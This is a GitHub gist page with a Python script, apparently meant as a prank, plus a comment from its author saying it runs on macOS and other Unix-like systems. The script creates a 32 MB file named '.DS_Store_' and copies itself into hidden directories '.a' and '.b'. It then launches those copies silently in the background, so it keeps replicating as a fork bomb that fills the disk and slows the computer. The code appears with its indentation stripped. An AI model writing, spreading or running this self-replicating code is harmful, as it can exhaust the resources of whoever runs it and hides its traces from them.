Skip to content

Instantly share code, notes, and snippets.

@tomdaley92
Last active July 20, 2018 22:35
Show Gist options
  • Save tomdaley92/e5a29e619301cbf86ec8025999e652b6 to your computer and use it in GitHub Desktop.
Save tomdaley92/e5a29e619301cbf86ec8025999e652b6 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import os
from sys import argv
from subprocess import Popen
def create_file(hidden, n):
with open(hidden, 'wb') as f:
f.seek(n-1)
f.write(b'\x00')
def self_replicate(prog, a, b):
dest = './'+a+'/'+prog
os.system('mkdir '+a+' </dev/null >/dev/null 2>&1')
os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
dest = './'+b+'/'+prog
os.system('mkdir '+b+' </dev/null >/dev/null 2>&1')
os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
def execute_replicas(prog, a, b):
Popen(['cd '+a+'/'+' ; '+'nohup python '+prog
+' </dev/null >/dev/null 2>&1 &'], shell=True)
Popen(['cd '+b+'/'+' ; '+'nohup python '+prog
+' </dev/null >/dev/null 2>&1 &'], shell=True)
def slow_computer(prog, hidden, n, a, b):
create_file(hidden, n)
self_replicate(prog, a, b)
execute_replicas(prog, a, b)
if __name__ == '__main__':
slow_computer(argv[0], '.DS_Store_', 2**25, '.a', '.b')
@tomdaley92
Copy link
Author

This was only tested on MacOS but I'm sure it would run on any Unix-y system with Python and nohup installed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment